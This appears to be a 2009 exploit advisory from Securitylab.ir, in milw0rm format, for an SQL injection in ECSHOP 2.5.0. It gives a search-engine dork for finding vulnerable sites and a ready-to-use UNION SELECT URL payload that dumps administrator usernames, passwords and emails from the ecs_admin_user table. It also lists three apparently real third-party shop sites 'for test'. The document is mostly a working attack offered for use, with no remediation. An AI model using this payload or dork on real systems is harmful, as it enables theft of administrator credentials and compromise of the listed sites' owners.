27 lines
No EOL
1.1 KiB
Text
27 lines
No EOL
1.1 KiB
Text
######################### Securitylab.ir ########################
|
|
# Application Info:
|
|
# Name: ECSHOP
|
|
# Version: 2.5.0
|
|
# Website: http://www.ecshop.com
|
|
#################################################################
|
|
# Discoverd By: Securitylab.ir
|
|
# Website: http://securitylab.ir
|
|
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
|
|
#################################################################
|
|
# Vulnerability Info:
|
|
# Type: Sql Injection
|
|
# Risk: High
|
|
# Dork: "Powered by ECShop v2.5.0"
|
|
#===========================================================
|
|
# http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*
|
|
#===========================================================
|
|
#################################################################
|
|
# For test:
|
|
# http://www.lobang99.com/store
|
|
# http://www.amteore.com
|
|
# http://www.vostart.com/web/eng
|
|
#################################################################
|
|
# Securitylab Security Research Team
|
|
###################################################################
|
|
|
|
# milw0rm.com [2009-04-27] |